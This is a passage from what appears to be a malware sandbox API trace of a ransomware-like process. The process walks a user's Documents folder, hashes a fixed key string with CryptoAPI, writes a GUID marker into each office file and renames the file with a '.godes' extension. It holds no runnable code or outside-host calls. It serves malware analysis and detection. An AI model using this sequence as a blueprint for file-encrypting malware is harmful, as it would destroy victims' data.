szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.258] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.258] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.258] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.258] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.258] GetLastError () returned 0x0 [0113.258] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.258] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.259] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5d95, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.259] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.259] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.259] CloseHandle (hObject=0x624) returned 1 [0113.259] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kei5.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kei5.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kei5.docx.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kei5.docx.godes")) returned 1 [0113.261] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95533be0, ftCreationTime.dwHighDateTime=0x1d4cea6, ftLastAccessTime.dwLowDateTime=0x3f612280, ftLastAccessTime.dwHighDateTime=0x1d4c8a0, ftLastWriteTime.dwLowDateTime=0x3f612280, ftLastWriteTime.dwHighDateTime=0x1d4c8a0, nFileSizeHigh=0x0, nFileSizeLow=0x18778, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kX2tA98.odp", cAlternateFileName="")) returned 1 [0113.261] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kX2tA98.odp") returned=".odp" [0113.261] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kX2tA98.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kx2ta98.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.262] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=100216) returned 1 [0113.262] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.263] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x18752, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.263] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.264] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x18778, lpOverlapped=0x0) returned 1 [0113.265] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.265] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.265] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.265] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.266] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.266] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.266] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.266] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.266] GetLastError () returned 0x0 [0113.266] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.266] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.267] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x18778, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.267] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.267] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.267] CloseHandle (hObject=0x624) returned 1 [0113.268] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kX2tA98.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kx2ta98.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kX2tA98.odp.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kx2ta98.odp.godes")) returned 1 [0113.276] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7649300, ftCreationTime.dwHighDateTime=0x1d4b4df, ftLastAccessTime.dwLowDateTime=0x74d6af20, ftLastAccessTime.dwHighDateTime=0x1d4fa19, ftLastWriteTime.dwLowDateTime=0x74d6af20, ftLastWriteTime.dwHighDateTime=0x1d4fa19, nFileSizeHigh=0x0, nFileSizeLow=0x128c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="L7nPtbAUFXsB.xlsx", cAlternateFileName="L7NPTB~1.XLS")) returned 1 [0113.276] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\L7nPtbAUFXsB.xlsx") returned=".xlsx" [0113.277] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\L7nPtbAUFXsB.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\l7nptbaufxsb.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.277] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=4748) returned 1 [0113.277] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.278] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1266, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.278] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.279] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x128c, lpOverlapped=0x0) returned 1 [0113.280] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.280] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.280] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.280] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.281] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.281] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.281] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.281] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.281] GetLastError () returned 0x0 [0113.281] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.281] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.281] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x128c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.281] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.281] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.281] CloseHandle (hObject=0x624) returned 1 [0113.283] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\L7nPtbAUFXsB.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\l7nptbaufxsb.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\L7nPtbAUFXsB.xlsx.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\l7nptbaufxsb.xlsx.godes")) returned 1 [0113.284] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0113.284] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0113.284] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0113.284] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0113.284] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0ff78c0, ftCreationTime.dwHighDateTime=0x1d51f8a, ftLastAccessTime.dwLowDateTime=0x3b783c90, ftLastAccessTime.dwHighDateTime=0x1d52d8a, ftLastWriteTime.dwLowDateTime=0x3b783c90, ftLastWriteTime.dwHighDateTime=0x1d52d8a, nFileSizeHigh=0x0, nFileSizeLow=0x9adf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NkSC620KY1G.xlsx", cAlternateFileName="NKSC62~1.XLS")) returned 1 [0113.284] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\NkSC620KY1G.xlsx") returned=".xlsx" [0113.284] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\NkSC620KY1G.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\nksc620ky1g.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.285] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=39647) returned 1 [0113.285] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.286] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x9ab9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.286] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.288] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x9adf, lpOverlapped=0x0) returned 1 [0113.288] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.288] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.288] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.288] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.289] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.289] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.289] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.289] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.289] GetLastError () returned 0x0 [0113.289] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.289] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.290] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x9adf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.290] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.290] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.290] CloseHandle (hObject=0x624) returned 1 [0113.291] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\NkSC620KY1G.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\nksc620ky1g.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\NkSC620KY1G.xlsx.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\nksc620ky1g.xlsx.godes")) returned 1 [0113.293] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6d671e0, ftCreationTime.dwHighDateTime=0x1d4cb9d, ftLastAccessTime.dwLowDateTime=0x95bbcd0, ftLastAccessTime.dwHighDateTime=0x1d4d05d, ftLastWriteTime.dwLowDateTime=0x95bbcd0, ftLastWriteTime.dwHighDateTime=0x1d4d05d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OstAGQ_x8J4h", cAlternateFileName="OSTAGQ~1")) returned 1 [0113.293] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0113.293] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dcc5a60, ftCreationTime.dwHighDateTime=0x1d4ca63, ftLastAccessTime.dwLowDateTime=0x5dab0cb0, ftLastAccessTime.dwHighDateTime=0x1d4c63e, ftLastWriteTime.dwLowDateTime=0x5dab0cb0, ftLastWriteTime.dwHighDateTime=0x1d4c63e, nFileSizeHigh=0x0, nFileSizeLow=0x13f0f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OwRe9Z9bAXQhesUnEazF.doc", cAlternateFileName="OWRE9Z~1.DOC")) returned 1 [0113.293] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OwRe9Z9bAXQhesUnEazF.doc") returned=".doc" [0113.293] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OwRe9Z9bAXQhesUnEazF.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\owre9z9baxqhesuneazf.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.296] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=81679) returned 1 [0113.296] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.297] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x13ee9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.297] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.299] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x13f0f, lpOverlapped=0x0) returned 1 [0113.300] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.300] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.300] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.300] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741488) returned 1 [0113.301] CryptCreateHash (in: hProv=0x741488, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.301] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.301] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.301] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.301] GetLastError () returned 0x0 [0113.301] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.301] CryptReleaseContext (hProv=0x741488, dwFlags=0x0) returned 1 [0113.301] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x13f0f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.301] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.301] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.302] CloseHandle (hObject=0x624) returned 1 [0113.303] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OwRe9Z9bAXQhesUnEazF.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\owre9z9baxqhesuneazf.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OwRe9Z9bAXQhesUnEazF.doc.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\owre9z9baxqhesuneazf.doc.godes")) returned 1 [0113.304] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bf8a650, ftCreationTime.dwHighDateTime=0x1d52c6f, ftLastAccessTime.dwLowDateTime=0xd0430d20, ftLastAccessTime.dwHighDateTime=0x1d4f859, ftLastWriteTime.dwLowDateTime=0xd0430d20, ftLastWriteTime.dwHighDateTime=0x1d4f859, nFileSizeHigh=0x0, nFileSizeLow=0x55c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pKUj8876P.docx", cAlternateFileName="PKUJ88~1.DOC")) returned 1 [0113.304] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pKUj8876P.docx") returned=".docx" [0113.304] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pKUj8876P.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pkuj8876p.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.304] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=21952) returned 1 [0113.304] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.305] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x559a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.305] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.307] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x55c0, lpOverlapped=0x0) returned 1 [0113.307] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.307] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.307] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.307] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741488) returned 1 [0113.308] CryptCreateHash (in: hProv=0x741488, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.308] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.308] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.308] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.308] GetLastError () returned 0x0 [0113.308] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.308] CryptReleaseContext (hProv=0x741488, dwFlags=0x0) returned 1 [0113.309] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x55c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.309] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.309] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.309] CloseHandle (hObject=0x624) returned 1 [0113.310] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pKUj8876P.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pkuj8876p.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS 